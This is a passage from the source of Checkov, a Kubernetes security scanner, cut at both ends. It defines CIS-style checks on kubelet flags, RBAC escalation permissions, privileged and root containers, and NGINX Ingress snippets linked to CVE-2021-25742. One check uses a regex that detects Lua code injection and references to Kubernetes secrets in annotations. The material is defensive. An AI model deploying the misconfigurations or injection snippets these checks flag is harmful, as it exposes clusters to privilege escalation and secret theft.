name = "Ensure that the --terminated-pod-gc-threshold argument is set as appropriate" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-controller-manager" in conf["command"]: for command in conf["command"]: if command == "--terminated-pod-gc-threshold": return CheckResult.PASSED if command.startswith("--terminated-pod-gc-threshold"): threshold = command.split("=")[1] if int(threshold) > 0: return CheckResult.PASSED else: return CheckResult.FAILED return CheckResult.FAILED return CheckResult.PASSED check = KubeControllerManagerTerminatedPods() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class KubeletAnonymousAuth(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.6 4.2.1 id = "CKV_K8S_138" name = "Ensure that the --anonymous-auth argument is set to false" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kubelet" in conf["command"]: if "--anonymous-auth=true" in conf["command"] or "--anonymous-auth=false" not in conf["command"]: return CheckResult.FAILED return CheckResult.PASSED check = KubeletAnonymousAuth() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class KubeletAuthorizationModeNotAlwaysAllow(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.6 4.2. id = "CKV_K8S_139" name = "Ensure that the --authorization-mode argument is not set to AlwaysAllow" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kubelet" in conf["command"]: for command in conf["command"]: if command.startswith("--authorization-mode"): modes = command.split("=")[1] if "AlwaysAllow" in modes.split(","): return CheckResult.FAILED break return CheckResult.PASSED check = KubeletAuthorizationModeNotAlwaysAllow() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class KubeletClientCa(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.6 4.2.3 id = "CKV_K8S_140" name = "Ensure that the --client-ca-file argument is set as appropriate" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kubelet" in conf["command"]: for command in conf["command"]: if command.startswith("--client-ca-file"): if len(command.split("=")) == 2: if (command.split("=")[1]).strip() != '': return CheckResult.PASSED return CheckResult.FAILED return CheckResult.FAILED return CheckResult.UNKNOWN check = KubeletClientCa() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck strongCiphers = ( "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305", "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305", "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384", "TLS_RSA_WITH_AES_256_GCM_SHA384", "TLS_RSA_WITH_AES_128_GCM_SHA256", ) class KubeletCryptographicCiphers(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.6 4.2.13 id = "CKV_K8S_151" name = "Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kubelet" in conf["command"]: for command in conf["command"]: if command.startswith("--tls-cipher-suites"): value = command.split("=")[1] ciphers = value.split(",") for cipher in ciphers: if cipher not in strongCiphers: return CheckResult.FAILED return CheckResult.PASSED check = KubeletCryptographicCiphers() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class KubeletHostnameOverride(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.6 4.2.8 id = "CKV_K8S_146" name = "Ensure that the --hostname-override argument is not set" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kubelet" in conf["command"]: if "--hostname-override" in [arg.split("=")[0] for arg in conf["command"]]: return CheckResult.FAILED return CheckResult.PASSED check = KubeletHostnameOverride() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class KubeletKeyFilesSetAppropriate(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.6 4.2.10 id = "CKV_K8S_148" name = "Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kubelet" in conf["command"]: hasTLSCert = False hasTLSKey = False for command in conf["command"]: if command.startswith("--tls-cert-file"): hasTLSCert = True elif command.startswith("--tls-private-key-file"): hasTLSKey = True return CheckResult.PASSED if hasTLSCert and hasTLSKey else CheckResult.FAILED return CheckResult.PASSED check = KubeletKeyFilesSetAppropriate() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class KubeletMakeIptablesUtilChains(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.6 4.2.7 id = "CKV_K8S_145" name = "Ensure that the --make-iptables-util-chains argument is set to true" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kubelet" in conf["command"]: if "--make-iptables-util-chains=true" not in conf["command"]: return CheckResult.FAILED return CheckResult.PASSED check = KubeletMakeIptablesUtilChains() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class KubeletProtectKernelDefaults(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.6 4.2.6 id = "CKV_K8S_144" name = "Ensure that the --protect-kernel-defaults argument is set to true" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kubelet" in conf["command"]: if "--protect-kernel-defaults=true" not in conf["command"]: return CheckResult.FAILED return CheckResult.PASSED check = KubeletProtectKernelDefaults() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck from checkov.kubernetes.checks.resource.k8s.k8s_check_utils import extract_commands class KubeletReadOnlyPort(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.6 4.2.4 id = "CKV_K8S_141" name = "Ensure that the --read-only-port argument is set to 0" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] keys, values = extract_commands(conf) if "kubelet" in keys: if "--read-only-port" in keys and values[keys.index("--read-only-port")] == "0": return CheckResult.PASSED return CheckResult.FAILED return CheckResult.PASSED check = KubeletReadOnlyPort() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class KubeletStreamingConnectionIdleTimeout(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.6 4.2.5 id = "CKV_K8S_143" name = "Ensure that the --streaming-connection-idle-timeout argument is not set to 0" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kubelet" in conf["command"]: if "--streaming-connection-idle-timeout=0" in conf["command"]: return CheckResult.FAILED return CheckResult.PASSED check = KubeletStreamingConnectionIdleTimeout() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class KubernetesDashboard(BaseK8sContainerCheck): def __init__(self) -> None: name = "Ensure the Kubernetes dashboard is not deployed" id = "CKV_K8S_33" # Location: container .image super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["image"] if conf.get("image"): conf_image = conf["image"] if not isinstance(conf_image, str): return CheckResult.FAILED if "kubernetes-dashboard" in conf_image or "kubernetesui" in conf_image: return CheckResult.FAILED if metadata and metadata.get("labels"): if "app" in metadata["labels"]: if metadata["labels"]["app"] == "kubernetes-dashboard": return CheckResult.FAILED elif "k8s-app" in metadata["labels"]: if metadata["labels"]["k8s-app"] == "kubernetes-dashboard": return CheckResult.FAILED return CheckResult.PASSED check = KubernetesDashboard() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class KubletEventCapture(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.6 4.2.9 id = "CKV_K8S_147" name = "Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kubelet" in conf["command"]: for cmd in conf["command"]: if "=" in cmd: [key, value, *_] = cmd.split("=") if key == "--event-qps": if int(value) > 5: return CheckResult.FAILED return CheckResult.PASSED check = KubletEventCapture() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class KubletRotateCertificates(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.6 4.2.11 id = "CKV_K8S_149" name = "Ensure that the --rotate-certificates argument is not set to false" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kubelet" in conf["command"]: if "--rotate-certificates=false" in conf["command"]: return CheckResult.FAILED return CheckResult.PASSED check = KubletRotateCertificates() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/LivenessProbe.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class LivenessProbe(BaseK8sContainerCheck): def __init__(self) -> None: name = "Liveness Probe Should be Configured" id = "CKV_K8S_8" # Location: container .livenessProbe # Don't check Job/CronJob supported_entities = [ entity for entity in BaseK8sContainerCheck.SUPPORTED_ENTITIES if entity not in ("CronJob", "Job") ] # initContainers do not need Liveness Probes... supported_container_types = ["containers"] super().__init__( name=name, id=id, supported_entities=supported_entities, supported_container_types=supported_container_types ) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["livenessProbe"] if conf.get("livenessProbe"): return CheckResult.PASSED return CheckResult.FAILED check = LivenessProbe() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/MemoryLimits.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class MemoryLimits(BaseK8sContainerCheck): def __init__(self) -> None: name = "Memory limits should be set" id = "CKV_K8S_13" # Location: container .resources.limits.memory super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["resources/limits/memory"] res = conf.get("resources") if res: if not isinstance(res, dict): return CheckResult.UNKNOWN limits = res.get("limits") if limits and limits.get("memory"): return CheckResult.PASSED return CheckResult.FAILED check = MemoryLimits() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/MemoryRequests.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class MemoryRequests(BaseK8sContainerCheck): def __init__(self) -> None: name = "Memory requests should be set" id = "CKV_K8S_12" # Location: container .resources.requests.memory super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["resources/requests/memory"] res = conf.get("resources") if res: if not isinstance(res, dict): return CheckResult.UNKNOWN requests = res.get("requests") if not isinstance(requests, dict): return CheckResult.UNKNOWN if requests and requests.get("memory"): # nosec # false positive return CheckResult.PASSED return CheckResult.FAILED check = MemoryRequests() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class MinimizeCapabilities(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.5 5.2.9 name = "Minimize the admission of containers with capabilities assigned" id = "CKV_K8S_37" # Location: container .securityContext.capabilities.drop super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["securityContext/capabilities/drop"] if not isinstance(conf, dict): return CheckResult.FAILED if conf.get("securityContext"): if conf["securityContext"].get("capabilities"): if conf["securityContext"]["capabilities"].get("drop"): for d in conf["securityContext"]["capabilities"]["drop"]: if any(cap in d for cap in ("ALL", "all")): return CheckResult.PASSED return CheckResult.FAILED check = MinimizeCapabilities() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/MinimizeCapabilitiesPSP.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check class MinimizeCapabilitiesPSP(BaseK8Check): def __init__(self) -> None: # CIS-1.5 5.2.9 name = "Minimize the admission of containers with capabilities assigned" # Location: PodSecurityPolicy.spec.requiredDropCapabilities id = "CKV_K8S_36" supported_kind = ("PodSecurityPolicy",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: if "spec" in conf: if "requiredDropCapabilities" in conf["spec"]: if conf["spec"]["requiredDropCapabilities"]: return CheckResult.PASSED return CheckResult.FAILED check = MinimizeCapabilitiesPSP() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742Alias.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check from checkov.common.util.type_forcers import force_list class NginxIngressCVE202125742Alias(BaseK8Check): def __init__(self) -> None: name = "Prevent NGINX Ingress annotation snippets which contain alias statements See CVE-2021-25742" id = "CKV_K8S_154" supported_kind = ("Ingress",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: metadata = conf.get("metadata") if metadata: annotations = metadata.get("annotations") if annotations: for annotation in force_list(annotations): if any("snippet" in key and "alias" in value for key, value in annotation.items()): return CheckResult.FAILED return CheckResult.PASSED check = NginxIngressCVE202125742Alias() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742AllSnippets.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check from checkov.common.util.type_forcers import force_list class NginxIngressCVE202125742AllSnippets(BaseK8Check): def __init__(self) -> None: name = "Prevent All NGINX Ingress annotation snippets. See CVE-2021-25742" id = "CKV_K8S_153" supported_kind = ("Ingress",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: metadata = conf.get("metadata") if metadata: annotations = metadata.get("annotations") if annotations: for annotation in force_list(annotations): if any("snippet" in key for key in annotation): return CheckResult.FAILED return CheckResult.PASSED check = NginxIngressCVE202125742AllSnippets() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742Lua.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check from checkov.common.util.type_forcers import force_list import re BAD_INJECTION_PATTERN = re.compile(r"\blua_|_lua\b|_lua_|\bkubernetes\.io\b") class NginxIngressCVE202125742Lua(BaseK8Check): def __init__(self) -> None: name = "Prevent NGINX Ingress annotation snippets which contain LUA code execution. See CVE-2021-25742" id = "CKV_K8S_152" supported_kind = ("Ingress",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: Dict[str, Any]) -> CheckResult: if conf["metadata"]: if conf["metadata"].get("annotations"): for annotation in force_list(conf["metadata"]["annotations"]): for key, value in annotation.items(): if "snippet" in key and re.search(BAD_INJECTION_PATTERN, value): return CheckResult.FAILED return CheckResult.PASSED check = NginxIngressCVE202125742Lua() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/PeerClientCertAuthTrue.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check class PeerClientCertAuthTrue(BaseK8Check): def __init__(self) -> None: name = "Ensure that the --peer-client-cert-auth argument is set to true" id = "CKV_K8S_121" supported_kind = ("Pod",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: if conf.get("metadata", {}).get("name") == "etcd": containers = conf.get("spec", {}).get("containers") if containers: for container in containers: if container.get("args") is not None: if "--peer-client-cert-auth=true" not in container["args"]: return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN check = PeerClientCertAuthTrue() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.util.data_structures_utils import find_in_dict from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check class PodSecurityContext(BaseK8Check): def __init__(self) -> None: # CIS-1.5 5.7.3 name = "Apply security context to your pods and containers" # Security context can be set at pod or container level. id = "CKV_K8S_29" # Location: Pod.spec.securityContext # Location: CronJob.spec.jobTemplate.spec.template.spec.securityContext # Location: *.spec.template.spec.securityContext supported_kind = ( "Pod", "Deployment", "DaemonSet", "StatefulSet", "ReplicaSet", "ReplicationController", "Job", "CronJob", ) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: spec = {} if conf["kind"] == "Pod": if "spec" in conf: spec = conf["spec"] elif conf["kind"] == "CronJob": inner_spec = find_in_dict(input_dict=conf, key_path="spec/jobTemplate/spec/template/spec") spec = inner_spec if inner_spec else spec else: inner_spec = find_in_dict(input_dict=conf, key_path="spec/template/spec") spec = inner_spec if inner_spec else spec if spec and isinstance(spec, dict): if spec.get("securityContext"): return CheckResult.PASSED return CheckResult.FAILED check = PodSecurityContext() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class PrivilegedContainers(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.3 1.7.1 # CIS-1.5 5.2.1 name = "Container should not be privileged" id = "CKV_K8S_16" # Location: container .securityContext.privileged super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["securityContext/privileged"] if conf.get("securityContext"): if conf["securityContext"].get("privileged"): return CheckResult.FAILED return CheckResult.PASSED check = PrivilegedContainers() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/PrivilegedContainersPSP.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.kubernetes.checks.resource.base_spec_omitted_or_value_check import BaseSpecOmittedOrValueCheck class PrivilegedContainersPSP(BaseSpecOmittedOrValueCheck): def __init__(self) -> None: # CIS-1.3 1.7.1 # CIS-1.5 5.2.1 name = "Do not admit privileged containers" id = "CKV_K8S_2" # Location: PodSecurityPolicy.spec.privileged supported_kind = ("PodSecurityPolicy",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def get_inspected_key(self) -> str: return "spec/privileged" check = PrivilegedContainersPSP() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/RbacApproveCertificateSigningRequests.py ================================================ from checkov.kubernetes.checks.resource.base_rbac_check import BaseRbacK8sCheck, RbacOperation class RbacApproveCertificateSigningRequests(BaseRbacK8sCheck): def __init__(self) -> None: name = "Minimize ClusterRoles that grant permissions to approve CertificateSigningRequests" id = "CKV_K8S_156" supported_entities = ("ClusterRole",) super().__init__(name=name, id=id, supported_entities=supported_entities) # See https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/ self.failing_operations = [ RbacOperation( apigroups=["certificates.k8s.io"], verbs=["update", "patch"], resources=["certificatesigningrequests/approval"] ), RbacOperation( apigroups=["certificates.k8s.io"], verbs=["approve"], resources=["signers"] ), ] check = RbacApproveCertificateSigningRequests() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/RbacBindRoleBindings.py ================================================ from checkov.kubernetes.checks.resource.base_rbac_check import BaseRbacK8sCheck, RbacOperation class RbacBindRoleBindings(BaseRbacK8sCheck): def __init__(self) -> None: name = "Minimize Roles and ClusterRoles that grant permissions to bind RoleBindings or ClusterRoleBindings" id = "CKV_K8S_157" super().__init__(name=name, id=id) self.failing_operations = [ RbacOperation( apigroups=["rbac.authorization.k8s.io"], verbs=["bind"], resources=["rolebindings", "clusterrolebindings"] ), ] check = RbacBindRoleBindings() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/RbacControlWebhooks.py ================================================ from checkov.kubernetes.checks.resource.base_rbac_check import BaseRbacK8sCheck, RbacOperation class RbacControlWebhooks(BaseRbacK8sCheck): def __init__(self) -> None: name = "Minimize ClusterRoles that grant control over validating or mutating admission webhook configurations" id = "CKV_K8S_155" supported_entities = ["ClusterRole"] super().__init__(name=name, id=id, supported_entities=supported_entities) self.failing_operations = [ RbacOperation( apigroups=["admissionregistration.k8s.io"], verbs=["create", "update", "patch"], resources=["mutatingwebhookconfigurations", "validatingwebhookconfigurations"] ), ] check = RbacControlWebhooks() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/RbacEscalateRoles.py ================================================ from checkov.kubernetes.checks.resource.base_rbac_check import BaseRbacK8sCheck, RbacOperation class RbacEscalateRoles(BaseRbacK8sCheck): def __init__(self) -> None: name = "Minimize Roles and ClusterRoles that grant permissions to escalate Roles or ClusterRoles" id = "CKV_K8S_158" super().__init__(name=name, id=id) self.failing_operations = [ RbacOperation( apigroups=["rbac.authorization.k8s.io"], verbs=["escalate"], resources=["roles", "clusterroles"] ), ] check = RbacEscalateRoles() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ReadOnlyFilesystem(BaseK8sContainerCheck): def __init__(self) -> None: name = "Use read-only filesystem for containers where possible" id = "CKV_K8S_22" # Location: container .securityContext.readOnlyRootFilesystem super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["securityContext/readOnlyRootFilesystem"] if conf.get("securityContext"): if conf["securityContext"].get("readOnlyRootFilesystem"): return CheckResult.PASSED return CheckResult.FAILED check = ReadOnlyFilesystem() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ReadinessProbe(BaseK8sContainerCheck): def __init__(self) -> None: name = "Readiness Probe Should be Configured" id = "CKV_K8S_9" # Location: container .readinessProbe # Don't check Job/CronJob supported_entities = [ entity for entity in BaseK8sContainerCheck.SUPPORTED_ENTITIES if entity not in ("CronJob", "Job") ] # initContainers do not need Readiness Probes... supported_container_types = ["containers"] super().__init__( name=name, id=id, supported_entities=supported_entities, supported_container_types=supported_container_types ) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["readinessProbe"] if conf.get("readinessProbe"): return CheckResult.PASSED return CheckResult.FAILED check = ReadinessProbe() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/RootContainers.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_root_container_check import BaseK8sRootContainerCheck class RootContainers(BaseK8sRootContainerCheck): def __init__(self) -> None: # CIS-1.3 1.7.6 # CIS-1.5 5.2.6 name = "Minimize the admission of root containers" # Check runAsNonRoot. If false, then ensure runAsUser > 0 # Location: Pod.spec.runAsUser / runAsNonRoot # Location: CronJob.spec.jobTemplate.spec.template.spec.securityContext.runAsUser / runAsNonRoot # Location: *.spec.template.spec.securityContext.runAsUser / runAsNonRoot id = "CKV_K8S_23" super().__init__(name=name, id=id) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: spec = self.extract_spec(conf) # Collect results if spec and isinstance(spec, dict): results: dict[str, Any] = {"pod": {}, "container": []} results["pod"]["runAsNonRoot"] = self.check_runAsNonRoot(spec) results["pod"]["runAsUser"] = self.check_runAsUser(spec, 1) containers = spec.get("containers", []) if not isinstance(containers, list): return CheckResult.UNKNOWN for c in containers: cresults = {"runAsNonRoot": self.check_runAsNonRoot(c), "runAsUser": self.check_runAsUser(c, 1)} results["container"].append(cresults) # Evaluate pass / fail # Container values override Pod values # Pod runAsNonRoot == True, plus no override at container spec (PASSED) # Pod runAsNonRoot == True, but container runAsNonRoot == False # If runAsUser failed or absent (FAILED) # if runAsUser passed, the check will pass (but don't want to pass one container if another fails) if results["pod"]["runAsNonRoot"] == "PASSED": for cr in results["container"]: if cr["runAsNonRoot"] == "FAILED": if cr["runAsUser"] == "FAILED" or cr["runAsUser"] == "ABSENT": return CheckResult.FAILED return CheckResult.PASSED elif results["pod"]["runAsUser"] == "PASSED": # Pod runAsNonRoot == False (or absent) ; Pod runAsUser > 0 (PASSED) # If container runAsUser FAILED, then overall fail as it overrides pod (FAILED) for cr in results["container"]: if cr["runAsUser"] == "FAILED": return CheckResult.FAILED return CheckResult.PASSED else: # Pod runAsNonRoot and runAsUser failed or absent # If container runAsNonRoot true (PASSED) # If container runAsNonRoot failed or absent, but runAsUser passed (PASSED) # If container runAsNonRoot failed or absent, but runAsUser failed/absent (FAILED) for cr in results["container"]: if cr["runAsNonRoot"] == "PASSED": continue if cr["runAsNonRoot"] == "FAILED" or cr["runAsNonRoot"] == "ABSENT": if cr["runAsUser"] == "PASSED": continue else: return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED check = RootContainers() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_root_container_check import BaseK8sRootContainerCheck class RootContainersHighUID(BaseK8sRootContainerCheck): def __init__(self) -> None: name = "Containers should run as a high UID to avoid host conflict" # runAsUser should be >= 10000 at pod spec or container level # Location: Pod.spec.runAsUser # Location: CronJob.spec.jobTemplate.spec.template.spec.securityContext.runAsUser # Location: *.spec.template.spec.securityContext.runAsUser id = "CKV_K8S_40" super().__init__(name=name, id=id) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: spec = self.extract_spec(conf) # Collect results if spec and isinstance(spec, dict): results: dict[str, Any] = {"pod": {}, "container": []} results["pod"]["runAsUser"] = self.check_runAsUser(spec, 10000) containers = spec.get("containers", []) if not isinstance(containers, list): return CheckResult.UNKNOWN for c in containers: cresults = {"runAsUser": self.check_runAsUser(c, 10000)} results["container"].append(cresults) # Evaluate pass / fail - Container values override Pod values # Pod runAsUser >= 10000, no override at container (PASSED) # Pod runAsUser >= 10000, override at container < 10000 (FAILED) # Pod 